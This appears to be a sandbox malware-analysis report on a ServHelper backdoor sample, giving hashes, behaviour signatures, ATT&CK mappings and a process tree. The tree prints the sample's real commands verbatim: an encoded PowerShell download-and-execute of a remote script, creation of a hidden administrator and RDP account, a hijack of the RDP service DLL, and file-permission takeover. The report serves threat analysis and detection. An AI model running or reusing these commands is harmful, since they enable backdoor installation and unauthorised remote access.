servhelper | 5c7e8b5ecf30c04a3a6e3726328c37eccfc8f0656797894d71e2ac7c27c20c9d

Analysis

max time kernel
132s
max time network
106s
platform
windows7_x64
resource
win7v20210408
submitted
13-07-2021 13:09

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General

Target

753f0b9b7183051f2f09ccd68d418969.exe
Size

6.0MB
MD5

753f0b9b7183051f2f09ccd68d418969
SHA1

ffcd59bc747170fcd30032d3ca1da6861330e99c
SHA256

5c7e8b5ecf30c04a3a6e3726328c37eccfc8f0656797894d71e2ac7c27c20c9d
SHA512

1e36d40c6245943430c7ed1dc1ed19a88f930842bc14f478dfee3f91fb18d7d3026312dc8ec856b3982f97d0e93510833945dee0b27533ae6a4130cee0f2dfec

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	1420	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1232	icacls.exe
1248	icacls.exe
1072	takeown.exe
1132	icacls.exe
420	icacls.exe
848	icacls.exe
1560	icacls.exe
1624	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130c6-181.dat	upx
behavioral1/files/0x00050000000130c7-182.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
868	Process not Found
868	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1624	icacls.exe
1232	icacls.exe
1248	icacls.exe
1072	takeown.exe
1132	icacls.exe
420	icacls.exe
848	icacls.exe
1560	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_cb95b54f-3405-4314-9e99-f498324653d2	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa5f8e54-1a2f-42e0-baff-8cfe896d2be0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_46d4dcf9-4b80-409f-9d37-ed4a23ae7822	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1136d16e-db93-4817-88b2-ffc1e3339752	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4eed5f7b-4e94-46d5-ac5d-9856b629cf2e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_930a0afe-a31b-4007-93c0-4da4911a81db	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9e8ca9b-9932-413a-a3b6-e1ab70bd99d8	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69107a9e-875c-44c2-ad5b-5ca872f0351a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b54f6010-9170-4849-8118-bb393c56fc23	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b890dfc-8f53-4069-834f-6803b1aa2aaa	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7467b37e-2ced-4093-a040-d77a5c693b09	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5UW1T0I5Q9HGH9GHEAZK.temp	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d01bedc4f977d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
960	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2004	powershell.exe
2004	powershell.exe
1104	powershell.exe
1104	powershell.exe
1528	powershell.exe
1528	powershell.exe
1336	powershell.exe
1336	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
1420	powershell.exe
1420	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
868	Process not Found
868	Process not Found
868	Process not Found
868	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeRestorePrivilege	420	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1524	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1524	WMIC.exe
Token: SeAuditPrivilege	1524	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1524	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1524	WMIC.exe
Token: SeAuditPrivilege	1524	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1260	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1260	WMIC.exe
Token: SeAuditPrivilege	1260	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1260	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1260	WMIC.exe
Token: SeAuditPrivilege	1260	WMIC.exe
Token: SeDebugPrivilege	1420	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1016 wrote to memory of 2004	1016	753f0b9b7183051f2f09ccd68d418969.exe	28
PID 1016 wrote to memory of 2004	1016	753f0b9b7183051f2f09ccd68d418969.exe	28
PID 1016 wrote to memory of 2004	1016	753f0b9b7183051f2f09ccd68d418969.exe	28
PID 2004 wrote to memory of 324	2004	powershell.exe	31
PID 2004 wrote to memory of 324	2004	powershell.exe	31
PID 2004 wrote to memory of 324	2004	powershell.exe	31
PID 324 wrote to memory of 1588	324	csc.exe	32
PID 324 wrote to memory of 1588	324	csc.exe	32
PID 324 wrote to memory of 1588	324	csc.exe	32
PID 2004 wrote to memory of 1104	2004	powershell.exe	33
PID 2004 wrote to memory of 1104	2004	powershell.exe	33
PID 2004 wrote to memory of 1104	2004	powershell.exe	33
PID 2004 wrote to memory of 1528	2004	powershell.exe	35
PID 2004 wrote to memory of 1528	2004	powershell.exe	35
PID 2004 wrote to memory of 1528	2004	powershell.exe	35
PID 2004 wrote to memory of 1336	2004	powershell.exe	37
PID 2004 wrote to memory of 1336	2004	powershell.exe	37
PID 2004 wrote to memory of 1336	2004	powershell.exe	37
PID 2004 wrote to memory of 1072	2004	powershell.exe	40
PID 2004 wrote to memory of 1072	2004	powershell.exe	40
PID 2004 wrote to memory of 1072	2004	powershell.exe	40
PID 2004 wrote to memory of 1132	2004	powershell.exe	41
PID 2004 wrote to memory of 1132	2004	powershell.exe	41
PID 2004 wrote to memory of 1132	2004	powershell.exe	41
PID 2004 wrote to memory of 420	2004	powershell.exe	42
PID 2004 wrote to memory of 420	2004	powershell.exe	42
PID 2004 wrote to memory of 420	2004	powershell.exe	42
PID 2004 wrote to memory of 848	2004	powershell.exe	43
PID 2004 wrote to memory of 848	2004	powershell.exe	43
PID 2004 wrote to memory of 848	2004	powershell.exe	43
PID 2004 wrote to memory of 1560	2004	powershell.exe	44
PID 2004 wrote to memory of 1560	2004	powershell.exe	44
PID 2004 wrote to memory of 1560	2004	powershell.exe	44
PID 2004 wrote to memory of 1624	2004	powershell.exe	45
PID 2004 wrote to memory of 1624	2004	powershell.exe	45
PID 2004 wrote to memory of 1624	2004	powershell.exe	45
PID 2004 wrote to memory of 1232	2004	powershell.exe	46
PID 2004 wrote to memory of 1232	2004	powershell.exe	46
PID 2004 wrote to memory of 1232	2004	powershell.exe	46
PID 2004 wrote to memory of 1248	2004	powershell.exe	47
PID 2004 wrote to memory of 1248	2004	powershell.exe	47
PID 2004 wrote to memory of 1248	2004	powershell.exe	47
PID 2004 wrote to memory of 1260	2004	powershell.exe	48
PID 2004 wrote to memory of 1260	2004	powershell.exe	48
PID 2004 wrote to memory of 1260	2004	powershell.exe	48
PID 2004 wrote to memory of 960	2004	powershell.exe	49
PID 2004 wrote to memory of 960	2004	powershell.exe	49
PID 2004 wrote to memory of 960	2004	powershell.exe	49
PID 2004 wrote to memory of 1568	2004	powershell.exe	50
PID 2004 wrote to memory of 1568	2004	powershell.exe	50
PID 2004 wrote to memory of 1568	2004	powershell.exe	50
PID 2004 wrote to memory of 1884	2004	powershell.exe	51
PID 2004 wrote to memory of 1884	2004	powershell.exe	51
PID 2004 wrote to memory of 1884	2004	powershell.exe	51
PID 1884 wrote to memory of 1892	1884	net.exe	52
PID 1884 wrote to memory of 1892	1884	net.exe	52
PID 1884 wrote to memory of 1892	1884	net.exe	52
PID 2004 wrote to memory of 1552	2004	powershell.exe	53
PID 2004 wrote to memory of 1552	2004	powershell.exe	53
PID 2004 wrote to memory of 1552	2004	powershell.exe	53
PID 1552 wrote to memory of 1640	1552	cmd.exe	54
PID 1552 wrote to memory of 1640	1552	cmd.exe	54
PID 1552 wrote to memory of 1640	1552	cmd.exe	54
PID 1640 wrote to memory of 1620	1640	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\753f0b9b7183051f2f09ccd68d418969.exe
"C:\Users\Admin\AppData\Local\Temp\753f0b9b7183051f2f09ccd68d418969.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f2bo5k0x\f2bo5k0x.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:324
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2896.tmp" "c:\Users\Admin\AppData\Local\Temp\f2bo5k0x\CSCF20E3E51B3334336B54BAC13ADBB5FC5.TMP"
      4⤵
      PID:1588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1336
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1072
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1132
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:420
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:848
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1560
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1624
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1232
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1248
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1260
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:960
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1568
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1892
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1640
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1620
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1516
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1436
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1352
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1556
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1336
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1220
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:300

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:420
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:944

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc EPvT3Spv /add
1⤵
PID:1624
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc EPvT3Spv /add
  2⤵
  PID:1984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc EPvT3Spv /add
    3⤵
    PID:1800

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1568
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1656

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1620
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:2000
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1892

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:804
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:944

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc EPvT3Spv
1⤵
PID:960
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc EPvT3Spv
  2⤵
  PID:1800
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc EPvT3Spv
    3⤵
    PID:1384

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:680
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1524

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1620
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1260

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:804
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1420

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1016-60-0x0000000041600000-0x0000000041A20000-memory.dmp

Filesize
4.1MB

Download
memory/1016-65-0x0000000041167000-0x0000000041168000-memory.dmp

Filesize
4KB

Download
memory/1016-64-0x0000000041166000-0x0000000041167000-memory.dmp

Filesize
4KB

Download
memory/1016-62-0x0000000041162000-0x0000000041164000-memory.dmp

Filesize
8KB

Download
memory/1016-63-0x0000000041164000-0x0000000041166000-memory.dmp

Filesize
8KB

Download
memory/1104-121-0x000000001B730000-0x000000001B731000-memory.dmp

Filesize
4KB

Download
memory/1104-100-0x000000001A9E0000-0x000000001A9E2000-memory.dmp

Filesize
8KB

Download
memory/1104-120-0x000000001B720000-0x000000001B721000-memory.dmp

Filesize
4KB

Download
memory/1104-98-0x000000001A990000-0x000000001A991000-memory.dmp

Filesize
4KB

Download
memory/1104-94-0x00000000024E0000-0x00000000024E1000-memory.dmp

Filesize
4KB

Download
memory/1104-99-0x0000000002350000-0x0000000002351000-memory.dmp

Filesize
4KB

Download
memory/1104-96-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

Filesize
4KB

Download
memory/1104-107-0x000000001B570000-0x000000001B571000-memory.dmp

Filesize
4KB

Download
memory/1104-101-0x000000001A9E4000-0x000000001A9E6000-memory.dmp

Filesize
8KB

Download
memory/1336-148-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

Filesize
8KB

Download
memory/1336-150-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

Filesize
8KB

Download
memory/1420-203-0x00000000194C4000-0x00000000194C6000-memory.dmp

Filesize
8KB

Download
memory/1420-234-0x00000000194CA000-0x00000000194E9000-memory.dmp

Filesize
124KB

Download
memory/1420-202-0x00000000194C0000-0x00000000194C2000-memory.dmp

Filesize
8KB

Download
memory/1528-135-0x0000000002160000-0x0000000002161000-memory.dmp

Filesize
4KB

Download
memory/1528-134-0x000000001A960000-0x000000001A961000-memory.dmp

Filesize
4KB

Download
memory/1528-132-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

Filesize
4KB

Download
memory/1528-130-0x0000000002600000-0x0000000002601000-memory.dmp

Filesize
4KB

Download
memory/1528-128-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

Filesize
8KB

Download
memory/1528-127-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

Filesize
8KB

Download
memory/2004-87-0x00000000027E0000-0x00000000027E1000-memory.dmp

Filesize
4KB

Download
memory/2004-73-0x000000001AC44000-0x000000001AC46000-memory.dmp

Filesize
8KB

Download
memory/2004-86-0x000000001C440000-0x000000001C441000-memory.dmp

Filesize
4KB

Download
memory/2004-85-0x000000001C110000-0x000000001C111000-memory.dmp

Filesize
4KB

Download
memory/2004-158-0x000000001CAC0000-0x000000001CAC1000-memory.dmp

Filesize
4KB

Download
memory/2004-83-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/2004-75-0x000000001B570000-0x000000001B571000-memory.dmp

Filesize
4KB

Download
memory/2004-102-0x000000001AC4A000-0x000000001AC69000-memory.dmp

Filesize
124KB

Download
memory/2004-72-0x000000001AC40000-0x000000001AC42000-memory.dmp

Filesize
8KB

Download
memory/2004-71-0x0000000002690000-0x0000000002691000-memory.dmp

Filesize
4KB

Download
memory/2004-70-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/2004-69-0x000000001ACC0000-0x000000001ACC1000-memory.dmp

Filesize
4KB

Download
memory/2004-68-0x0000000002370000-0x0000000002371000-memory.dmp

Filesize
4KB

Download
memory/2004-67-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp

Filesize
8KB

Download